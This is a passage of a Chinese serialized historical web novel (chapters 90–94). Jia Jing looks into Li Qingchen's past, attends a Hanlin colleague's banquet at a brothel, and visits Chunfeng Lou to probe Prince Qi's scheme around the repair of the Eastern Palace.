“有要事,”柳阙缓了几分,指了指贾敬,“你培元哥哥找他有事。” 贾敬朝柳云晚点点头,柳云晚这才松开了赵霁的手。 赵霁跟着贾敬去了不远处的一个地方,贾敬开门见山, “你可认识一个叫李清臣的人?” 第90章 这个名字一出, 赵霁先是一愣,随后愕然,他怎么也没想到, 眼前这位贵公子会说出这个名字。 贾敬语气笃定,“看来,你果然知道。” 赵霁微微垂首, 避开贾敬的目光, 一时没回话, 贾敬又道: “和我说说李清臣和青老板的事儿吧, 若是我没记错,你和水青是同年进的崇雅堂?” “水青和李清臣的关系,你应当也清楚吧。” 赵霁顿了顿, 脸色紧绷了一瞬。 贾敬说话不疾不徐, “我既能查到这些,旁的自然也能查到,不过是早晚的事。” “谁料碰巧遇见柳大姑娘的事,与你碰了面, 不妨赵兄弟为我解惑?” 赵霁心底犹豫,可他也知道, 贾敬说的是事实, 早晚能查到, 他现在隐瞒, 瞒得了一时却瞒不了一世。 可他心中也发着虚, 不知道贾敬打听这些事情的目的。 毕竟牵扯到青老板和李清臣, 这之间的事情, 可不简单, 他也不能胡乱开口。 贾敬好似看出赵霁的顾虑, 开口道:“你也不必太过担忧,我只需要知道一些往事,不牵扯旁人。” 他一字一顿,像是意有所指,赵霁眸光凝了凝,面前这位贵公子果然知晓这里面会牵扯出哪位贵人。 贾敬颔首:“你只需说说李清臣的过往便罢。” 赵霁这才终于开口了。 原来,李清臣原也是良家子弟,虽谈不上簪缨世族,也是个小富之家。 后因父亲得罪了官,家中生意落败还惹上了官司坐了牢,自此家道中落。 少年的李清臣还未考取功名,也未能有安身立命的手艺本事。但好在他曾经酷爱戏曲,对许多戏词研究颇深。 他开始给京中各大戏班写本改词,机缘巧合之下,他认识了水青,一来二去间,两人相知相许。 贾敬:“之后呢?之后李清臣去了何处?” 贾敬是故意这样询问赵霁,也是为了试探赵霁是否知道,如今南无寺法号净尘的和尚,就是李清臣。 赵霁面露悲痛:“清臣他……死了。” “死了?”贾敬不动声色,“发生了什么事?” 赵霁扯了扯嘴角,“水青出落得愈发漂亮,有位听戏的老爷就垂涎了水青的容貌,三番四次的为难。” “清臣为水青挡了回去,却惹了那位老爷不快,他便污蔑清臣与水青有染,甚至还放了赃物栽赃,班主顿时报了官。” 班主这样做,贾敬也明白,像水青这样未来或许能名声大噪的优伶名角,摇钱树还没开始挣钱,可不能折在这件事上。 贾敬扬眉问赵霁,“你怎知他是被人污蔑?” 赵霁面色正了正,“清臣和水青虽是两情相悦,可从来是发乎情止乎礼,万不可能做那样的事。” 贾敬是相信赵霁对话,但面上不显,接着听赵霁说李清臣的过往。 “他们逼李清臣签字画押,他没签,被狠狠打了一顿,后来伤口起了脓,没挺过去,就……” 赵霁这位身材魁梧的大汉说起李清臣曾经这些的不公与冤屈,也不免红了眼眶。 贾敬微不可查地打量着赵霁,见他所说所感并非作假,看来赵霁并不知道李清臣如今是南无寺法号净尘的和尚。 又或许……赵霁是故意这么说的。 不过贾敬并不想去探寻真伪,他已经得到他想要知道的内容了。 贾敬忽的又想起什么,似笑非笑地望着赵霁,“你说的那位老爷,是哪家的老爷?” 赵霁一顿,本想说出什么,但对上贾敬那双好似能洞悉一切的眼睛,他下意识吐出一个人。 待他反应过来,才意识到自己说了什么,脸色僵了僵。 贾敬勾起唇,缓缓开口,“老爷是谁并不重要,背后之人是……” “萧淮洵。” 贾敬还以为,是青老板成了角儿,有了名气,才被萧淮洵看上。 原来,萧淮洵那么早就已经盯上了青老板。 赵霁见贾敬这么平淡自然的说出齐王的名讳,不由得咽了咽口水。 “公子问这些,是想要……” 贾敬瞥了他一眼,赵霁下意识就噤了声,贾敬意味深长道: “不该问的,别问。” “今日的对话,你只当不存在,懂了吗?” 赵霁点点头。 贾敬见他这样,又想起那位柳大姑娘对这位的态度,朝赵霁勾了勾手, “你既然今日帮了我,那么,我也礼尚往来,给你支个招。” 赵霁愣怔住,一时没有明白贾敬话中的意思。 贾敬也不在意,接着开口道: “此次回去,就算柳大姑娘如此决绝,理国公府也不会那么轻易同意你们。” “你如今,确实什么也给不了她。” 赵霁因为贾敬的话,双拳紧握,可他又什么也反驳不了,就在他颓丧要垂下头时,就听贾敬轻啧一声, “男子汉大丈夫,何故如此作态?” 赵霁想起刚刚贾敬说的话,眼眸一亮,恭敬地朝贾敬行礼, “请公子指点!” 贾敬对赵霁耳语几句,赵霁越听越激动,最后深深一拜,“谢公子赐教!” 待贾敬柳阙与岑回寒暄几句离开后,他家小院旁鬼鬼祟祟冒出一人来,眼睛则还是死死地盯在远走的马车后。 岑回注意到来人,冷下脸来,看着就是不欢迎来人,“你怎么来了?” “诶诶诶,那些人是什么身份?你什么时候巴结上这样身份的人了?” 话说得极为难听刺耳。 岑回并不愿和这人多说,那人却喋喋不休,见岑回不理他,更是恼羞成怒, “呦,攀上高枝了,就不搭理人了?” “天天假清高,还不是给这些贵人当狗!” 岑回的眼底尽是恶心和厌恶,他朝那人冷哼一声, “人不求人一般高。”岑回说着抬了抬下巴,“但我知道,你是来求我的。” 那人瞬间脸色涨成猪肝色,破口大骂,“岑回!我可是你哥!” “我没你这种哥哥!” 岑回冷笑,直接关上了门! · 贾敬第二日回了翰林院当差,便收到了几位同僚的关心,他笑摆着手, “没什么大碍,今日已经好全了。” 一段时日下来,他们绝大多数人已经适应了手头上的工作,就在临下值时,三位典籍走后,他们这里来了一位意外之客。 “都在啊。” 贾敬几人闻声看去,见到来人先是一愣,随后见礼问好, “赵侍讲。” 来人正是贾敬他们第一日入翰林时,说话刺方海峰的那位赵侍讲。 赵侍讲脸上挂着笑,看着倒是和善,“我前些日子为贵人讲学忙,一时也没来及好好招待你们。” “赵侍讲客气了。” 几人心中猜测着,这位赵侍讲来此的目的。他瞧着就和方海峰不和睦,他们又算是方海峰手底下的人,总觉得来者不善。 赵侍讲:“择日不如撞日,今日我做东,为各位入翰林院,好好庆贺一番!” 贾敬和薛琼对视一眼,这觉得这个理由当真是拙劣,他们都入翰林院几日了,才提出聚一聚吗? 这明晃晃是鸿门宴。 薛琼出面婉拒了一番,按理说,一般人看在薛阁老的面子上,都不会去为难薛琼。 可赵侍讲却不依不饶,半威胁半引诱着,命其在场所有人今日都要到场。 无法,最终几人也只能应了。 贾敬也想看看,这位赵侍讲打的什么主意。 当几人跟着赵侍讲到了京城秦楼楚馆一条街时,贾敬薛琼几人面色变了变。 虽说这些地方不乏才子读书人踏足,可他们几人算是家教甚严,鲜少来这些地方。 赵侍讲见他们的面色,嘴角扯出一大抹笑,“这样的场合,要多来适应适应!” “可别跟读书的娃娃一样。” 几人一进去,莺莺燕燕就围上来了一群,贾敬不由得拧起眉,屏住呼吸,不愿让那些陌生刺鼻的香味钻入鼻底。 宋子虚更是被一位贴上,瞬间红了脸。 赵侍讲看着哈哈大笑。 几人跟渡劫一般,进了赵侍讲定的雅间,才松了口气。 可还未等人放下心来,随着赵侍讲的鼓掌,忽的又涌入了一群人。 而这次,不仅有年轻貌美的姑娘,还有身材纤细的小倌。 宋子虚惊得变成了结巴,整个人缩了缩,像是要避开什么,“男、男的……” 他的举动,再次逗笑了赵侍讲,“这么没见过世面,毛头小子!” 贾敬身边也凑上来一位小倌,朝贾敬低眉笑着,很是顺从。 “来来来,喝酒!” 赵侍讲大手一挥,这些姑娘小倌们纷纷倒酒,随后捧着献上。 贾敬和薛琼几人对视一眼,接过了酒杯,也不动声色地跟这些小倌姑娘们拉开了些距离。 “喝!”赵侍讲催促着,见几人端着酒杯不说话,面色沉了沉,“这点面子不给我?” 几人这才喝下。 赵侍讲见几人还算识相,脸上笑意大绽开,“光喝酒,没意思!” “来,给大家唱个小曲!” 赵侍讲推了一把窝在他一旁的小倌,“你们可别小瞧了他,可是崇雅堂出身,小曲一绝!” “他可是跟青老板一个师傅教出来的,你们今日有福了!” 贾敬听到这句话,眼皮一掀,目光看向了那位小倌。【你现在阅读的是魔蝎小说 moxiexs】 90-100 第91章 那小倌的模样贾敬一眼看过去, 便觉得眼熟,还未反应过来,就听得“砰”的一声响, 那扇原本关着的门猛地被人用力推开。 一个满脸通红、肥头大耳的男子摇摇晃晃地走进了屋内。 他身上散发出来浓烈的酒味,脚下步伐也踉踉跄跄。许是酒喝多了的缘故,他大声嚷嚷道: “赵二, 我方才远远地就听到你的声音, 果真是你小子! “你个臭小子居然敢自己跑来这儿喝酒, 也不知道叫上我一块儿?” 他边说着话, 边用他那双小眼睛打量着屋内的情况,目光落在贾敬几人身上时,闪了闪。 而赵侍讲听到这话后, 先是微微一愣, 显然是没想到会在这里遇见此人。不过很快,他便回过神来,那张原本高傲自得的面瞬间堆满了谄媚的笑容。 只见他迅速站起身来,一路小跑着迎向了那个刚刚进门的胖子。 “诶呀呀, 原来是王大人您呐!”赵侍讲满脸堆笑,伸手虚扶着那位走路不稳的王大人, 生怕他一个不稳就摔了。 “诶呦, 要知道您今日来这儿, 我定会在门口相迎。”赵侍讲客气话说得一套接着一套, 奉承的态度让那位胖子王大人很是得意快活。 贾敬不动声色地和薛琼几人对视一眼, 心照不宣, 纷纷开始猜测这位突然冒出来的王大人究竟是什么来头, 能让在他们面前一直昂着头的赵侍讲这么巴结。 王大人被赵侍讲引至主位, 赵侍讲从侍酒女手上端过一杯酒, 殷勤地送到王大人手边,“您请。” “诶,不用。”王大人摆手推了推,“你闻闻这味儿,我在隔壁可没少喝。” 王大人目光瞥了赵侍讲一眼,随后眯眼朝贾敬几人抬了抬下巴。 贾敬薛琼等人气度不一般,他还未参透身份。 赵侍讲瞬间明白王大人的意思,解释道:“这是翰林院新来的几位同僚,这不今日有时间,请他们出来聚聚。” 这位王大人一听是这些人刚入翰林院的新人,原本还算正常的眼神忽的就夹杂了几分轻视。 “你刚刚说谁和青老板一个师傅?”王大人扯了扯嘴角,转头看赵侍讲。 赵侍讲也摸不准王大人问这话的目的,老老实实指了指刚才说的那位小倌。 王大人看过去,贾敬也顺势看过去,了然,原来是和青老板有几分相像,不过也只是那一瞬的感觉,多看上几眼,便不会这么觉得了。 “哼。”王大人意味不明地哼了一声,赵侍讲更是有些纳闷,讷讷不敢说话。 “这样的凡夫俗子也比得上青老板?”王大人语气尽是讽刺,那名小倌闻言脸色瞬间一白,吓得浑身发抖。 贾敬眨了眨眼睛,这王大人是青老板的票友? 赵侍讲被王大人一说,也有些尴尬,讪讪道:“自然比不上青老板。” 他直接瞪了那个小倌一眼,小倌在旁边一姑娘的提醒下,借拿酒的名义出去了,在这儿也是碍着贵人们的眼。 “不知大人今日来这儿……”赵侍讲岔开话题。 王大人看似不在意道:“这不是马上要修葺东宫了吗?” 赵侍讲一听,眼睛直接亮了,“您负责这个?” 问完这句话,赵侍讲就猛地一拍嘴巴,“瞧我这话问的,王大人您作为工部郎中,这事儿可不就您来吗?” 贾敬这会儿知道王大人的身份了,原来是工部的郎中,正五品的官职,看赵侍讲那狗腿态度,贾敬还当是什么工部尚书呢。 不过,修葺东宫…… 贾敬微微垂眼,遮掩住眼底的情绪,耳朵却仔细听着这边的动静。 王大人嘴角翘着,“修葺东宫可是大事,咱们工部又不是不做别的事了?” “可这事也不能不做,齐王殿下便派遣我来做些事儿。” 他看似是自贬,可语气是压不住的洋洋得意。 赵侍讲听到王大人肯定的回答,喜上眉梢,脸上的谄媚更深了几分,“大人果然深得齐王殿下的看重啊!” 王大人故作不在意,“我不过就是负责一些木材砖石采买罢了,不当回事儿。” 他越是这样不在意,赵侍讲越是激动,采买木材砖石,这是多大的肥差啊! 就连贾敬都不免抬眸看了这位王大人一眼。 营缮清吏司是工部最重要的衙门,负责营造宫殿、陵寝和城池等,而这些都需要木材砖石的采买,是实打实的肥差,非上官心腹不可得。 他倒是没想到,这位王大人在齐王萧淮洵那儿,地位还不低,能负责这项事宜。 王大人显然对赵侍讲的吹捧很是受用,哈哈笑了,“好了,我隔壁还有人等着,就不在你这儿坐了。” 他站起身,赵侍讲还想说什么,但丝毫是碍于这里人多嘴杂,终究是没开口,笑着送王大人到了门口。 “别送了,好好玩吧。”王大人迈出门时,脚步一顿,朝赵侍讲道, “瞧你就是没见过好的,下次带你去瞧瞧青老板的风姿!” 赵侍讲嘴咧得老大,点头,“诶,沾您的光!” 贾敬稍稍挑眉,要是他没猜错,这位王大人应当没少出入齐王府邸,自然也没少见到青老板。 他的目光又落到赵侍讲的身上,有些好奇他对这位王大人这么殷切的原因。 赵侍讲因着王大人的事情,心情好了不少,对贾敬薛琼几人也没过多为难,也就灌了几杯酒,在他们面前耍了耍老人派头,也就散了场。 贾敬喝了几杯酒,觉得马车坐着难受,便准备走着回去,顺便散散酒意。 “让你打听的怎么样了?” 阿禄朝贾敬走近几步,轻声道:“二爷,小的查到了。” “这位赵侍讲的外家是在关中行商的,做的就是木材采买生意。他自从在京中为官后,就一直在接触各部的采买,尤其是工部。” “和这位王大人也是相熟,从他手里接了不少的活计。” 贾敬听着点了点头,手指下意识掐着算道:“大哥此时应当已经到南省了吧?” 阿禄点着头,“按照日子,是该到金陵老家了。” 贾敬:“我记得,薛家伯父也负责一些官府采买?” “是。” 贾敬颔首:“待会儿我写封信,你给我送出去,快件寄到金陵。” 这趟浑水,他想要搅得更浑。 第92章 贾敬回去就忙不迭写了信, 让人快件送去给已在金陵的贾敷,意在贾敷劝服薛家如今的当家人薛其豫。 薛其豫为紫薇舍人薛公之子,年龄与贾代化相仿, 贾敬也曾见过几次这位薛伯父。 薛家要论贾敬最熟悉的人,那便是薛其豫的长子薛嵘,读书明理, 是个不错的当家人。 薛嵘的弟弟薛峥更是做生意的一把好手, “天下十停走了七八停”, 不过这辈子, 这两人还是个和贾政一般大的毛头小子。 贾敬又细细想了一遍,薛家是在薛其豫和薛嵘手上将皇商的位置坐稳,又与如今执掌各国朝贡的王家关系亲密, 增添了各种往来。 这次东宫修葺的事情, 薛王两家大可以掺和进来。贾敷此次南下,虽途径南省,可他的目的,是应承东平郡王所托, 前往闽州和南越。 那里海运众多,洋人货船更是往来频繁, 想要采买货物是要方便许多。 当然, 问题也很是显著, 这也是东平郡王邀贾敷前往闽州的缘由。海匪肆虐, 想来王家在此管辖的洋人货船应当也是不堪其扰。 这其中关窍, 贾敬刚才都有在信中提到, 想来贾敷会有安排。 · “怎么瞧着你精神有些不佳?” 贾敬在自己的位置上坐下, 就见程一序撑着脑袋合着眼, 眉头拧在一起, 看着就很不舒服的模样。 “就昨晚那个酒喝的。” 程一序开口嘶哑的嗓音,也把宋子虚和薛琼吓了一跳。 贾敬也有些诧异,没想到程一序的酒力这么差。 宋子虚也不免抱怨道:“我昨晚回去歇下时,也是头疼。” 这秦楼楚馆里的酒,当真是比一般酒楼里的酒,烈上不少。 当然,这句话只是宋子虚在心中想想,并未曾说出口,也不便说出口。 薛琼刚想说什么,他们桌边来了一人,薛琼下意识闭了嘴。 “你们这边整理的如何了?” 方海峰一边问着,一边兀自伸出手,拿起贾敬他们桌案上的整理手札,便翻看了起来。 贾敬见方海峰翻看着,不慌不忙地将他们这些天所整理的成果和进度都汇报了一遍。 有贾敬的汇报,方海峰手上翻看的速度很快,没一会儿便将所有的手札都看了一遍。 “这里……还有这里,你们应该……” 方海峰看完后,就开始对手札上的问题进行了点评和修改,贾敬几人听着也很是专注。 就在几人以为,方海峰指点完他们后,就会像以往一样离开时,就听方海峰问: “昨晚,你们跟赵明一起去秦楼楚馆喝酒了?” 贾敬一愣,随后反应过来,方海峰口中的赵明,正是赵侍讲的名讳。 他与程一序对视一眼,程一序朝方海峰面露苦意, “方大人,赵侍讲热情相邀,我们也不好拒绝,不是吗?” 方海峰抬眼看了程一序一眼,没说话,将手札放下,便转身离开了。 宋子虚偷瞄了方海峰对背影,用气声问道:“方大人到底是何意思?” 程一序耸耸肩,意思是他也不知道。 宋子虚又将目光看向了薛琼,薛琼笑了笑,显得有些无奈, “他们上峰的事情,我们还是少管吧。” 贾敬盯着方海峰离开的方向,若有所思,随后沉吟开口: “我想,后面赵侍讲应当不会再来找我们了。” 宋子虚不解,“啊?是吗?” 贾敬笑而不语。 方海峰这边出了门,就撞见了摇摇晃晃走来的赵侍讲,他眼底青黑一片,眼中泛着红血丝。 走近时,冲天的酒臭味扑面而来,方海峰嫌恶地朝后退了一步。 赵侍讲斜眼看着方海峰,嗤笑一声:“方海峰,你装什么假正经呢?” 他说着,下巴朝旁边的屋子抬了抬,语气不屑,“你带的那几个小鬼,跟你一样死板无趣。” “好苗子也都给你带歪了。” 方海峰颔首,讽刺道:“比不得你。” 赵侍讲赤红着眼睛盯着方海峰,方海峰也如他所愿,接着开口道: “酒喝的酩酊大醉,想来,你怕是连《尚书》都说不明白,贵人免了你的差吧?” “你!”赵侍讲气结,本就涨红的脸此时颜色更深了几分。 他直接一个上前,揪住了方海峰的衣领,“你有学问!还不是一辈子窝在翰林院的命,毫无建树前程!” “你就编一辈子的破书吧!” “我也不怕告诉你,这破侍讲老子早就不想干了!” “这破地方,老子待够了!” 赵侍讲咬着牙,压着声音说出了他的心里话,他说着说着笑了, “老子很快就会走了,不像你,一辈子就烂在这里吧。” 方海峰目光定定地望着赵侍讲,伸手一把握住赵侍讲揪着他领子都手,稍稍一个用力。 “疼!疼疼!”赵侍讲疼得面容狰狞,手下意识松开。 方海峰手用力一推,就将赵侍讲推得一个踉跄,直接栽了一个大跟头,一个屁股坐在了地上。 “方海峰!”赵侍讲低吼,忍着尾骨处传来的疼痛。 方海峰垂眼看着赵侍讲,“那就祝愿你,步步高升吧。” “但你记住,我的人,你别想伸手。” 他的目光带着冷意,让赵侍讲看着下意识就是一哆嗦,他张嘴就想反驳,可硬生生碍于方海峰的眼神和气势,什么也没说出来。 方海峰也不在意,跨步离去。 “方海峰!”赵侍讲恶狠狠盯着方海峰的背影啐了一口,“给老子等着!” 赵侍讲狼狈爬起身,目光四处扫视一眼,见没人看见,这才收回目光,灰溜溜走了。 他没看见,不远处木桩后,站着一个人,待赵侍讲走后,脚步麻利地进了屋子。 “诶呦,有热闹看诶!” 郑春直接一个招呼,将自己刚刚看见的一幕当乐子和笑话说了,尤其是赵侍讲摔了个大马趴的事儿,大家听了都哈哈大笑。 “那你听见他和方大人说什么了吗?” 有人问细节,他们昨天被赵侍讲喊去喝酒,还真是憋了气了。 郑春摇摇头,“声音太小,我距离又远,没听着。” 贾敬想起昨晚让阿禄查的事情,赵侍讲有意搭上工部王大人的线,掺合到此次东宫修葺的事务里来,想来,也不仅仅是给他家拉条商路那么简单。 他的官路可能也想动动了。 下了值后,贾敬刚准备直接回府,阿禄却给他带了一样消息。 “二爷,小的打听到,今晚春风楼,那位工部王大人摆了宴,据说请了崇雅堂的青老板前来,六部许多官员听闻都答应前往。” 贾敬脚步一顿,他倒不是惊讶于青老板的名气,而是,王大人不过是工部的一个五品官,能请动青老板? 若说其他人,不清楚青老板背后有谁,冲着青老板的名望,请了也就请了,可这位王大人,是齐王手下的。 他会不知道,青老板背后站着的是齐王? “真的只有王大人?”贾敬反问阿禄。 阿禄:“二爷,您的意思是……” “王大人请宴是假,这背后,应当是齐王。” “春风楼吗?”贾敬摇了摇手中的扇子,“走,我们今晚也去春风楼坐坐。” 阿禄一听贾敬要去春风楼,面露难色,迟疑道:“二爷,您当真要去春风楼?” “小的听闻,那地方娼妓小倌无数,是京中纨绔子弟胡闹的……” 阿禄越说越急,他家二爷可从不去那些地方,怕污了二爷的眼。 贾敬挑了挑眉,他素日也不关心这些,倒真不知道,这春风楼居然……这么多花样。 “比昨日去的那家还要放肆?” 阿禄直点头,“那可比不上春风楼的花样。” 贾敬一收扇子,“行,你这样说,我更要去看看。” 他都要看看,到底是怎样一个局,让齐王不惜把青老板放到这么一个地方。 第93章 “阿禄, 给我说说,那春风楼你知晓多少。”贾敬在去春风楼的路上问着阿禄。 阿禄斟酌了几分,还是向贾敬透露了一些春风楼的内幕, 毕竟那些腌臜事,待会儿他家二爷过去或许也会撞见。 “二爷,您别看春风楼瞧着外面只是个普通的酒楼, 这里面啊, 门道可多着呢。” 贾敬来了兴趣:“怎么说?” 阿禄:“春风楼与别家不同, 这楼里不仅大堂有个戏台, 好些个雅间里头也有小戏台,因此,除了春风楼他们楼里自己的姑娘小倌们, 这京里别的戏班也会过来。” 贾敬微微点头, 也弄明白今日王大人在春风楼设宴,是怎么请来了崇雅堂的青老板。 “春风楼除了王孙公子会来寻欢作乐,许多朝中官员亦会前来。” 阿禄接着说道:“至于这些被请来的戏班戏子们,有的是单纯唱曲儿, 这有的就是干那档子事儿了。” 他说着声音愈发小了,“您知道的, 这有些公子少爷们, 就爱一起玩儿。” 贾敬明白了阿禄话中的意思, 脑海里不由得划过一些画面, 眼低泛起些嫌恶。 阿禄一直都留意着贾敬的神情, 见他如此, 顿时噤了声。 “没想到, 阿禄你对春风楼的事情这般了解。”贾敬挑眉看向阿禄。 阿禄慌了几分, 生怕贾敬误会了什么, 连忙解释道: “二爷,天地可鉴,小的可那么大胆去这些地方啊!” “只是小的有一些玩的好的兄弟,在各个府上当差,不少也在爷们跟前走动的,平时闲聊天才知晓这些的。” 贾敬见阿禄哭丧着脸,不免失笑,“你整日跟着我,你去哪些地方,我会不清楚?” “我不过是问问,好了,别自己吓自己,显得你家二爷我是什么恶主一般。” 就在两人说话时,马车已然停在了春风楼门口。 贾敬下了马车,天色已暗,华灯初上,春风楼的牌匾在红灯笼的照耀下,很是醒目。 他手中执着的扇子轻轻一抖,扇面丝滑打开。贾敬轻摇着扇面,便迈步向春风楼走去,阿禄垂着头跟在他的身后。 贾敬身着华服,气度不凡,又是个生面孔,甫一进去,便有人迎了进来。 “哟,这位公子是来赴哪位的宴啊?”这是一位风韵犹存的妈妈,瞧着三十出头的模样。 贾敬神情慵懒随意,“爷今日心情不好,来散散心,听听曲儿。” 阿禄顺势塞了一小把金叶子到了那位妈妈手里,那位妈妈直接笑得露出了白牙, “诶呦,柳娘我一定给这位公子安排得妥妥当当!” “您楼上请!” 这位妈妈亲自引着贾敬上了楼。 贾敬看似不经意地问着柳娘, “爷平日里爱听戏,听闻京中许多有名的戏班都来你这儿演,是真的吗?” “那这位公子就来对地方了,只要您想听的戏,咱们春风楼都有!” 柳娘一听,手中帕子一甩,差点甩到了贾敬的脸上,帕子上的脂粉味熏得贾敬差点打了个喷嚏。 贾敬只好屏住呼吸,偏了偏脑袋,待那股浓郁的脂粉味散去,才缓缓开口: “口气倒是不小,那崇雅堂青老板,柳娘这里也能请来?” 贾敬这话问出来,柳娘眸光闪了闪,稍稍打量贾敬,见他确实是随意一问,才牵起嘴角道: “这位公子岂是小瞧了柳娘?青老板,咱们春风楼还真能请来。” “说来也巧,”柳娘说着,顿了顿,没接着说下去。 贾敬故作好奇,追问:“巧在何处?” 柳娘笑弯了眉眼,睨着贾敬,气吐幽兰,声音轻巧,“青老板今个儿就在春风楼呢!” “哦?是吗?”贾敬瞬间来了兴趣,“那……” 可贾敬话还未说完,就被柳娘笑着打断, “不过今日青老板已经有了宴,怕是没缘陪公子了。” 贾敬扯了扯嘴角,手中摇动的扇子快了几分,“何人组的宴,柳娘可否向我透露几分。” 他那双多情的桃花眼直勾勾看着柳娘,让柳娘这位纵情风月场的老手都不由得脸热了几分,心里暗道: 这张风流多情的脸幸好是生在了达官显贵之家,若是在他们这地方,恐怕早就被狼顾虎视、拆卸入腹了。 “不能告知予我?”贾敬又问,声音愈发的柔和。 柳娘回过神,用帕子掩了掩面,似是在掩饰方才她的走神。 “也不是不能说……”柳娘有些迟疑,望着贾敬那双多情却又清澈的眼睛,她最终还是轻声道,“是齐王殿下呢。” 贾敬下意识紧了紧握着折扇的手,看向柳娘的眼神也多了几分认真和探究。 这位柳娘应当也不是个简单人物,竟然知道今日开宴之人是齐王,而非是那位工部的王大人。 不过这样的消息,柳娘为何要和他说?她大可以说是工部王大人。 贾敬不动声色,只是面上闪过一丝遗憾,叹了口气道: “原来是齐王殿下……看来我今日是无缘听青老板的戏了。” “我是当真喜欢青老板的戏,唉……” 贾敬眼睑轻垂,显得很是失落。 柳娘见状,眼底闪过一丝犹豫,紧接着,她正了正面色,语气恳切了些, “这位公子,今日是没缘得见青老板的戏了,不过您放心,柳娘定会给公子安排满意的戏。” “只是……”柳娘说着,声音又轻了许多,几不可闻,“今日您可不能去那边打扰。” 贾敬就当是没听见柳娘后半段的那句叮嘱,笑着答道: “那就听柳娘的安排,爷今日心情不好,什么戏欢快,你就安排什么吧。” 柳娘看了贾敬一会儿,才重新恢复了一开始的热情笑意,“您请。” 她引着贾敬到了二楼最东边的一间雅间,“这地方来的人少,不会有不长眼的来打扰您。” 贾敬观察着雅间,熏香四溢,所到之处都铺着地毯,一进去就有些飘忽之感,仿佛是踩在了棉花之上。 柳娘:“您请坐,柳娘这就去给您安排人来。” 贾敬顺势坐在了一把软椅上,像是没骨头一般,肆意靠着,一副就等着人来伺候的大爷模样。 柳娘对此也是习以为常,只是临出门前,试探地问了句,“公子是想点花还是点果?” 贾敬摩挲着的手微微一顿,眼眸微微一转,像是猜到柳娘这话问的弦外之音,抬眸瞧着柳娘,意味深长地说了句, “爷不爱花。” 贾敬身后的阿禄一听,不由得睁大了眼。 柳娘也有些诧异地看向贾敬,紧接着就露出了然的模样,“诶,您稍等。” 待柳娘关上门离开后,贾敬转头问一旁的阿禄,“她刚刚问的点花点果,是何意思?” 阿禄咽了咽口水,“二爷不知道这句话的意思啊?那您刚刚说您不爱花是……” 贾敬:“我随口说的。” 阿禄忽然松了口气:“二爷,在他们楼里,这姑娘就是花,这小倌就是果。” 贾敬挑眉,果然如他想的那般。 至于刚刚那句话,是不是随意,就只有贾敬自己知道了。 贾敬朝阿禄勾了勾手,“你待会儿假借如厕,去这楼里转转,去探探,今晚王大人请宴是在哪间?” 阿禄:“诶,小的明白了。” 阿禄这边刚出门,就撞上了领着人来的柳娘。 “这位小兄弟准备去哪儿?” “诶呦,柳姐姐,这人有三急,小的该去哪儿方便一下?”阿禄有些尴尬,挠了挠脑袋。 柳娘轻笑,随手拉过一个路过的小丫鬟,“哝,你带他去。” 阿禄跟着那小丫鬟走了,柳娘这才带着一群人进了贾敬的这间雅间。 “贾二爷,您瞧瞧?” 柳娘出声唤着阖眼休息的贾敬。 贾敬听见柳娘的称呼,眼睫颤了颤,眼底更是多了几分震惊。他自来了春风楼,就未曾表露过身份。 这柳娘也未曾询问过他,可就这短短的一段时间里,柳娘对他的称呼,就从“公子”变成了“贾二爷”,她已经知道了自己的身份。 “贾二爷?”柳娘又唤了一声,贾敬像是才听见,缓缓睁开眼,眼里沁着水光,惺忪朦胧。 “嗯?” 柳娘努力收回自己的目光,抬手指了指,“您瞧瞧,这些可满意?” 贾敬扫了一眼,那些个小倌一个个都生的清秀,看着就让人舒心。有的手中捧着瓜果茶点,有的则是已经做了戏曲扮相,但并不完全,显得没那么端正正式。 “这几个都是哪个戏班的?”贾敬抬了抬下巴,有些挑剔。 柳娘像是知道贾敬会这么问,“您放心,这几位都是崇雅堂的,算起来,是青老板的师弟呢。” 贾敬眉眼微微一挑,又是青老板的师弟,这果然人成了角儿,谁都想跟在后面蹭上一蹭。 “是吗?”贾敬兴致缺缺的模样,对于青老板的师弟并不感兴趣,“有没有真本事,唱了就知道了。” 柳娘:“贾二爷想听什么戏?尽管点。” 贾敬手指轻轻点在桌案上,“才子文章冠古今,佳人倾国更知音,唱曲《琴心记》吧!” “唱好了,爷给赏。”贾敬懒洋洋地补了一句。 柳娘连忙朝中间的那位使了眼色,贾敬眯眼看去,长得…… 也像青老板。 他们崇雅堂,就喜好青老板那个长相的? 【作者有话要说】 注释:1、才子文章冠古今,佳人倾国更知音。出自《琴心记》 第94章 那小倌踏着碎步到了前方的小戏台上, 刚要起势,贾敬问柳娘,“他叫什么?” 柳娘:“他叫水月。” 贾敬目光不偏不倚地落在水月的脸上, 柳娘神情微动,“贾二爷瞧着可顺眼?” “嗯。”贾敬应了一声,却不再多说。 柳娘暗自笑了, 这见过水月的, 都说他长得有七分像青老板, 多少客人见了都满意。 “你们尽心伺候着!”柳娘对旁边几位小倌招呼着。 那些个小倌便动了起来, 动作轻巧灵动,凑在了贾敬身旁服侍,倒茶的倒茶, 倒酒的倒酒。 柳娘又转头看向贾敬, 之间贾敬合着眼,已然一副开始听曲儿的模样。 柳娘见状,帕子掩笑,“柳娘就不打扰贾二爷听曲了。” 贾敬随意朝柳娘摆了摆手, 柳娘这才出了屋子。 那水月的唱腔细腻婉转,似沾了糖一般, 每一句都仿佛带着丝丝甜意, 钻入贾敬的耳中, 和青老板唱戏的感觉, 大不相同。 此时, 他唱的正是《琴心记》第十三折戏——汉宫春晓 。 贾敬戏听得不多, 但这出戏多内容他缺熟稔于心。《琴心记》讲得不是别的故事, 正是司马相如与卓文君的爱情故事。 随着水月的唱词, 贾敬的思绪愈发飘远, 他的背脊逐渐放松,闲散慵懒地靠在软榻上,眼神夹着些迷离。 他为何喜欢这出戏的呢? 许是在那情窦初开的年纪,他曾沉溺于司马相如那一曲《凤求凰》中;又或许是钦佩卓文君的决然,当垆卖酒也甘之如饴。 贾敬微微低垂着眼,眉头轻轻皱起,双手不自觉地抓紧座椅扶手,像是要抓住什么。 “愿得一心人,白首不相离……” 贾敬低低沉吟,终是这句,入了他的心。 不知何时,贾敬已经缓缓睁开了眼,眼底染上了一层落寞,他就静静地看着这折自己点的戏。 曲终。 屋内霎时便静了下来。 台上的水月此时也没了方才唱台上的底气,眼神忐忑地望着贾敬。 “不错,赏。” 贾敬手中的扇子点了点桌案,“歇着吧。” 水月这才眼露欣喜的下了小戏台,没一会儿就回到了贾敬跟前。 贾敬此时心情有些烦闷,兴致缺缺,只是懒懒地斜靠在软榻上,修长如玉的手指随意把玩着扇子,倒是和他先前同柳娘说得心情不佳合上了。 